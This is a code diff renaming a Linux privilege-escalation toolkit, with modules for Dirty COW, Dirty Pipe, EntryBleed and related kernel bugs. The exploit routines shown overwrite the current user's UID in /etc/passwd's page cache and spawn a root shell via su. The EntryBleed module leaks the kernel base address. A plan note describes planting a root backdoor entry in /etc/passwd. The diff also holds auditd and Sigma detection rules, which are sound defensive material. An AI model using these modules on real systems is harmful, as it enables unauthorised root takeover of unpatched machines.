.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
/* ----- Family registration ----- */
void iamroot_register_copy_fail_family(void)
void skeletonkey_register_copy_fail_family(void)
{
iamroot_register(&copy_fail_module);
iamroot_register(&copy_fail_gcm_module);
iamroot_register(&dirty_frag_esp_module);
iamroot_register(&dirty_frag_esp6_module);
iamroot_register(&dirty_frag_rxrpc_module);
skeletonkey_register(&copy_fail_module);
skeletonkey_register(&copy_fail_gcm_module);
skeletonkey_register(&dirty_frag_esp_module);
skeletonkey_register(&dirty_frag_esp6_module);
skeletonkey_register(&dirty_frag_rxrpc_module);
}
@@ -0,0 +1,28 @@
/*
* copy_fail_family — SKELETONKEY module registry hooks
*
* The family currently contains five skeletonkey_module entries:
*
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
* - dirty_frag_esp (CVE-2026-43284 v4)
* - dirty_frag_esp6 (CVE-2026-43284 v6)
* - dirty_frag_rxrpc (CVE-2026-43500)
*
* Defined in skeletonkey_modules.c, registered into the global registry
* by skeletonkey_register_copy_fail_family() (declared in
* core/registry.h).
*/
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module copy_fail_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
#endif
+1 -1
View File
@@ -13,7 +13,7 @@ the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## IAMROOT role
## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/*
* dirty_cow_cve_2016_5195 IAMROOT module
* dirty_cow_cve_2016_5195 SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
* - execve(su) shell with uid=0
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
}
}
/* ---- iamroot interface ---- */
/* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
void skeletonkey_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
skeletonkey_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif
+4 -4
View File
@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems.
## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard
`iamroot_module` shape from the start.
`skeletonkey_module` shape from the start.
+1 -1
View File
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## IAMROOT role
## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe
id: f6b13c08-skeletonkey-dirty-pipe
status: experimental
description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references:
- https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT
author: SKELETONKEY
date: 2026/05/16
logsource:
product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/*
* dirty_pipe_cve_2022_0847 IAMROOT module
* dirty_pipe_cve_2022_0847 SKELETONKEY module
*
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module
* is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5).
*
@@ -15,22 +15,22 @@
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet)
* - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE
* - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0;
}
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK;
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return SKELETONKEY_EXPLOIT_OK;
}
/* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = {
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_pipe(void)
void skeletonkey_register_dirty_pipe(void)
{
iamroot_register(&dirty_pipe_module);
skeletonkey_register(&dirty_pipe_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif
+1 -1
View File
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise
+2 -2
View File
@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
Mainline status: no canonical patch — partial mitigations only.
## IAMROOT role
## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`IAMROOT_ENTRYBLEED_OFFSET` env var.
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module
* entrybleed_cve_2023_0458 SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or
* build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = {
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL,
};
void iamroot_register_entrybleed(void)
void skeletonkey_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
skeletonkey_register(&entrybleed_module);
}
@@ -1,13 +1,13 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module registry hook
* entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
